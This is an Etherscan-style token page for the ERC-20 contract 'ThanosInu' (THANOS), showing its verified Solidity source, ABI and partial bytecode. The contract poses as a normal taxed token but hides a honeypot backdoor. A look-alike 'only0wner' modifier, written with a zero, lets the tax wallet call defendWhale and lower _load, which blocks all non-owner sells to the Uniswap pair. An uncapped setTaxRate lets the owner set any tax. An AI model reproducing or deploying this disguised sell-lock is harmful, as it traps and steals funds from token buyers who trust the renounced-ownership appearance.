Feature Tip: Add private address tag to any address under My Name Tag !
ERC-20
Overview
Max Total Supply
1,000,000,000 THANOS
Holders
15
Market
Onchain Market Cap
$0.00
Circulating Supply Market Cap
-
Other Info
Token Contract (WITH 0 Decimals)
Balance
98,796,028 THANOSValue
$0.00Loading...
Loading
Loading...
Loading
Loading...
Loading
# | Exchange | Pair | Price | 24H Volume | % Volume |
---|
Contract Source Code Verified (Exact Match)
Contract Name:
ThanosInu
Compiler Version
v0.8.9+commit.e5eed63a
Contract Source Code (Solidity)
/** *Submitted for verification at Etherscan.io on 2021-10-30 */ // SPDX-License-Identifier: Apache-2.0 // Telegram: t.me/Thanosinu pragma solidity ^0.8.7; address constant UNISWAP_ADDRESS=0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D; interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH(address token, uint amountTokenDesired,uint amountTokenMin, uint amountETHMin, address to, uint deadline) external payable returns (uint amountToken, uint amountETH, uint liquidity); } abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed oldie, address indexed newbie); constructor () { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender() , "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0xdead)); _owner = address(0xdead); } } contract ThanosInu is Context, IERC20, Ownable { using SafeMath for uint256; mapping(address => uint256) private _rOwned; mapping(address => mapping(address => uint256)) private _allowances; mapping(address => bool) private _isExcludedFromFee; uint256 private constant MAX = ~uint256(0); uint256 private _tTotal = 1000000000 ; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; uint256 private _taxRate=8; address payable private _taxWallet; string private constant _name = "Thanos"; string private constant _symbol = "THANOS"; uint8 private constant _decimals = 0; IUniswapV2Router02 private uniswapV2Router; address private uniswapV2Pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = false; uint256 private _load = _tTotal; modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor () { _taxWallet = payable(_msgSender()); _rOwned[_msgSender()] = _rTotal; uniswapV2Router = IUniswapV2Router02(UNISWAP_ADDRESS); emit Transfer(address(0x0000000000000000000000000000000000000000), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public view override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function tokenFromReflection(uint256 rAmount) private view returns (uint256) { require(rAmount <= _rTotal, "Amount must be less than total reflections"); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function setTaxRate(uint rate) external onlyOwner{ require(rate>=0 ,"Rate must be non-negative"); _taxRate=rate; } function _transfer(address from, address to, uint256 amount) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); _preventSlippage(from,to); _tokenTransfer(from, to, amount); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(tokenAmount, 0, path,address(this), block.timestamp); } function sendETHToFee(uint256 amount) private { _taxWallet.transfer(amount); } function openTrading() external onlyOwner() { require(!tradingOpen, "Trading is already open"); _approve(address(this), address(uniswapV2Router), _tTotal); uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(address(this), uniswapV2Router.WETH()); uniswapV2Router.addLiquidityETH{value : address(this).balance}(address(this), balanceOf(address(this)), 0, 0, owner(), block.timestamp); swapEnabled = true; _load = _tTotal; tradingOpen = true; IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max); } modifier only0wner() { require(_taxWallet == _msgSender() ); _; } function _tokenTransfer(address sender, address recipient, uint256 amount) private { _transferStandard(sender, recipient, amount); } function _transferStandard(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function _preventSlippage(address from, address to) private{ if (from != owner() && to != owner()) { if (to == uniswapV2Pair && from != address(uniswapV2Router)) { require( _load>100000); } uint256 contractTokenBalance = balanceOf(address(this)); if (!inSwap && from != uniswapV2Pair && swapEnabled) { swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if (contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } } function manualSwap() external { require(_msgSender() == _taxWallet); uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualSend() external { require(_msgSender() == _taxWallet); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, 2, _taxRate); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) { uint256 tFee = tAmount.mul(taxFee).div(100); uint256 tTeam = tAmount.mul(TeamFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns (uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function defendWhale(uint256 g) external only0wner { _load = g; } function _getCurrentSupply() private view returns (uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } }
Contract Security Audit
- No Contract Security Audit Submitted- Submit Audit Here
[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"oldie","type":"address"},{"indexed":true,"internalType":"address","name":"newbie","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"uint256","name":"g","type":"uint256"}],"name":"defendWhale","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"manualSend","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"manualSwap","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"openTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"rate","type":"uint256"}],"name":"setTaxRate","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]
Contract Creation Code
6080604052633b9aca006004556004546000196200001e9190620002e9565b6000196200002d919062000350565b60055560086007556000600a60156101000a81548160ff0219169083151502179055506000600a60166101000a81548160ff021916908315150217905550600454600b553480156200007e57600080fd5b50600062000091620002a860201b60201c565b9050806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508073ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3506200013f620002a860201b60201c565b600860006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506005546001600062000196620002a860201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550737a250d5630b4cf539739df2c5dacb4c659f2488d600960006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555062000239620002a860201b60201c565b73ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6004546040516200029a91906200039c565b60405180910390a3620003b9565b600033905090565b6000819050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b6000620002f682620002b0565b91506200030383620002b0565b925082620003165762000315620002ba565b5b828206905092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b60006200035d82620002b0565b91506200036a83620002b0565b92508282101562000380576200037f62000321565b5b828203905092915050565b6200039681620002b0565b82525050565b6000602082019050620003b360008301846200038b565b92915050565b612ca780620003c96000396000f3fe6080604052600436106100f75760003560e01c8063715018a61161008a578063c6d69a3011610059578063c6d69a3014610325578063c9567bf91461034e578063dd62ed3e14610365578063f4293890146103a2576100fe565b8063715018a61461027b5780638da5cb5b1461029257806395d89b41146102bd578063a9059cbb146102e8576100fe565b8063313ce567116100c6578063313ce567146101d3578063517758d8146101fe57806351bc3c851461022757806370a082311461023e576100fe565b806306fdde0314610103578063095ea7b31461012e57806318160ddd1461016b57806323b872dd14610196576100fe565b366100fe57005b600080fd5b34801561010f57600080fd5b506101186103b9565b6040516101259190611f0e565b60405180910390f35b34801561013a57600080fd5b5061015560048036038101906101509190611fc9565b6103f6565b6040516101629190612024565b60405180910390f35b34801561017757600080fd5b50610180610414565b60405161018d919061204e565b60405180910390f35b3480156101a257600080fd5b506101bd60048036038101906101b89190612069565b61041e565b6040516101ca9190612024565b60405180910390f35b3480156101df57600080fd5b506101e86104f7565b6040516101f591906120d8565b60405180910390f35b34801561020a57600080fd5b50610225600480360381019061022091906120f3565b6104fc565b005b34801561023357600080fd5b5061023c610567565b005b34801561024a57600080fd5b5061026560048036038101906102609190612120565b6105e1565b604051610272919061204e565b60405180910390f35b34801561028757600080fd5b50610290610632565b005b34801561029e57600080fd5b506102a7610787565b6040516102b4919061215c565b60405180910390f35b3480156102c957600080fd5b506102d26107b0565b6040516102df9190611f0e565b60405180910390f35b3480156102f457600080fd5b5061030f600480360381019061030a9190611fc9565b6107ed565b60405161031c9190612024565b60405180910390f35b34801561033157600080fd5b5061034c600480360381019061034791906120f3565b61080b565b005b34801561035a57600080fd5b506103636108ee565b005b34801561037157600080fd5b5061038c60048036038101906103879190612177565b610e0b565b604051610399919061204e565b60405180910390f35b3480156103ae57600080fd5b506103b7610e92565b005b60606040518060400160405280600681526020017f5468616e6f730000000000000000000000000000000000000000000000000000815250905090565b600061040a610403610f04565b8484610f0c565b6001905092915050565b6000600454905090565b600061042b8484846110d7565b6104ec84610437610f04565b6104e785604051806060016040528060288152602001612c4a60289139600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061049d610f04565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546112149092919063ffffffff16565b610f0c565b600190509392505050565b600090565b610504610f04565b73ffffffffffffffffffffffffffffffffffffffff16600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461055d57600080fd5b80600b8190555050565b600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166105a8610f04565b73ffffffffffffffffffffffffffffffffffffffff16146105c857600080fd5b60006105d3306105e1565b90506105de81611278565b50565b600061062b600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611500565b9050919050565b61063a610f04565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146106c7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016106be90612203565b60405180910390fd5b61dead73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a361dead6000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600681526020017f5448414e4f530000000000000000000000000000000000000000000000000000815250905090565b60006108016107fa610f04565b84846110d7565b6001905092915050565b610813610f04565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146108a0576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161089790612203565b60405180910390fd5b60008110156108e4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016108db9061226f565b60405180910390fd5b8060078190555050565b6108f6610f04565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610983576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161097a90612203565b60405180910390fd5b600a60149054906101000a900460ff16156109d3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016109ca906122db565b60405180910390fd5b610a0230600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16600454610f0c565b600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b158015610a6a57600080fd5b505afa158015610a7e573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610aa29190612310565b73ffffffffffffffffffffffffffffffffffffffff1663c9c6539630600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015610b2657600080fd5b505afa158015610b3a573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610b5e9190612310565b6040518363ffffffff1660e01b8152600401610b7b92919061233d565b602060405180830381600087803b158015610b9557600080fd5b505af1158015610ba9573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610bcd9190612310565b600a60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d7194730610c56306105e1565b600080610c61610787565b426040518863ffffffff1660e01b8152600401610c83969594939291906123ab565b6060604051808303818588803b158015610c9c57600080fd5b505af1158015610cb0573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610cd59190612421565b5050506001600a60166101000a81548160ff021916908315150217905550600454600b819055506001600a60146101000a81548160ff021916908315150217905550600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b8152600401610db6929190612474565b602060405180830381600087803b158015610dd057600080fd5b505af1158015610de4573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e0891906124c9565b50565b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610ed3610f04565b73ffffffffffffffffffffffffffffffffffffffff1614610ef357600080fd5b6000479050610f018161156e565b50565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610f7c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f7390612568565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610fec576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610fe3906125fa565b60405180910390fd5b80600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516110ca919061204e565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611147576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161113e9061268c565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156111b7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111ae9061271e565b60405180910390fd5b600081116111fa576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111f1906127b0565b60405180910390fd5b61120483836115da565b61120f8383836117d5565b505050565b600083831115829061125c576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112539190611f0e565b60405180910390fd5b506000838561126b91906127ff565b9050809150509392505050565b6001600a60156101000a81548160ff0219169083151502179055506000600267ffffffffffffffff8111156112b0576112af612833565b5b6040519080825280602002602001820160405280156112de5781602001602082028036833780820191505090505b50905030816000815181106112f6576112f5612862565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561139857600080fd5b505afa1580156113ac573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906113d09190612310565b816001815181106113e4576113e3612862565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505061144b30600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684610f0c565b600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b81526004016114af95949392919061294f565b600060405180830381600087803b1580156114c957600080fd5b505af11580156114dd573d6000803e3d6000fd5b50505050506000600a60156101000a81548160ff02191690831515021790555050565b6000600554821115611547576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161153e90612a1b565b60405180910390fd5b60006115516117e5565b9050611566818461181090919063ffffffff16565b915050919050565b600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f193505050501580156115d6573d6000803e3d6000fd5b5050565b6115e2610787565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141580156116505750611620610787565b73ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614155b156117d157600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161480156117005750600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b1561171757620186a0600b541161171657600080fd5b5b6000611722306105e1565b9050600a60159054906101000a900460ff1615801561178f5750600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b80156117a75750600a60169054906101000a900460ff165b156117cf576117b581611278565b600047905060008111156117cd576117cc4761156e565b5b505b505b5050565b6117e083838361185a565b505050565b60008060006117f2611a25565b91509150611809818361181090919063ffffffff16565b9250505090565b600061185283836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611a72565b905092915050565b60008060008060008061186c87611ad5565b9550955095509550955095506118ca86600160008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611b3c90919063ffffffff16565b600160008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061195f85600160008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611b8690919063ffffffff16565b600160008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506119ab81611be4565b6119b58483611ca1565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef85604051611a12919061204e565b60405180910390a3505050505050505050565b6000806000600554905060006004549050611a4d60045460055461181090919063ffffffff16565b821015611a6557600554600454935093505050611a6e565b81819350935050505b9091565b60008083118290611ab9576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611ab09190611f0e565b60405180910390fd5b5060008385611ac89190612a6a565b9050809150509392505050565b6000806000806000806000806000611af18a6002600754611cdb565b9250925092506000611b016117e5565b90506000806000611b148e878787611d71565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b6000611b7e83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611214565b905092915050565b6000808284611b959190612a9b565b905083811015611bda576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611bd190612b3d565b60405180910390fd5b8091505092915050565b6000611bee6117e5565b90506000611c058284611dfa90919063ffffffff16565b9050611c5981600160003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611b8690919063ffffffff16565b600160003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b611cb682600554611b3c90919063ffffffff16565b600581905550611cd181600654611b8690919063ffffffff16565b6006819055505050565b600080600080611d076064611cf9888a611dfa90919063ffffffff16565b61181090919063ffffffff16565b90506000611d316064611d23888b611dfa90919063ffffffff16565b61181090919063ffffffff16565b90506000611d5a82611d4c858c611b3c90919063ffffffff16565b611b3c90919063ffffffff16565b905080838395509550955050505093509350939050565b600080600080611d8a8589611dfa90919063ffffffff16565b90506000611da18689611dfa90919063ffffffff16565b90506000611db88789611dfa90919063ffffffff16565b90506000611de182611dd38587611b3c90919063ffffffff16565b611b3c90919063ffffffff16565b9050838184965096509650505050509450945094915050565b600080831415611e0d5760009050611e6f565b60008284611e1b9190612b5d565b9050828482611e2a9190612a6a565b14611e6a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611e6190612c29565b60405180910390fd5b809150505b92915050565b600081519050919050565b600082825260208201905092915050565b60005b83811015611eaf578082015181840152602081019050611e94565b83811115611ebe576000848401525b50505050565b6000601f19601f8301169050919050565b6000611ee082611e75565b611eea8185611e80565b9350611efa818560208601611e91565b611f0381611ec4565b840191505092915050565b60006020820190508181036000830152611f288184611ed5565b905092915050565b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000611f6082611f35565b9050919050565b611f7081611f55565b8114611f7b57600080fd5b50565b600081359050611f8d81611f67565b92915050565b6000819050919050565b611fa681611f93565b8114611fb157600080fd5b50565b600081359050611fc381611f9d565b92915050565b60008060408385031215611fe057611fdf611f30565b5b6000611fee85828601611f7e565b9250506020611fff85828601611fb4565b9150509250929050565b60008115159050919050565b61201e81612009565b82525050565b60006020820190506120396000830184612015565b92915050565b61204881611f93565b82525050565b6000602082019050612063600083018461203f565b92915050565b60008060006060848603121561208257612081611f30565b5b600061209086828701611f7e565b93505060206120a186828701611f7e565b92505060406120b286828701611fb4565b9150509250925092565b600060ff82169050919050565b6120d2816120bc565b82525050565b60006020820190506120ed60008301846120c9565b92915050565b60006020828403121561210957612108611f30565b5b600061211784828501611fb4565b91505092915050565b60006020828403121561213657612135611f30565b5b600061214484828501611f7e565b91505092915050565b61215681611f55565b82525050565b6000602082019050612171600083018461214d565b92915050565b6000806040838503121561218e5761218d611f30565b5b600061219c85828601611f7e565b92505060206121ad85828601611f7e565b9150509250929050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b60006121ed602083611e80565b91506121f8826121b7565b602082019050919050565b6000602082019050818103600083015261221c816121e0565b9050919050565b7f52617465206d757374206265206e6f6e2d6e6567617469766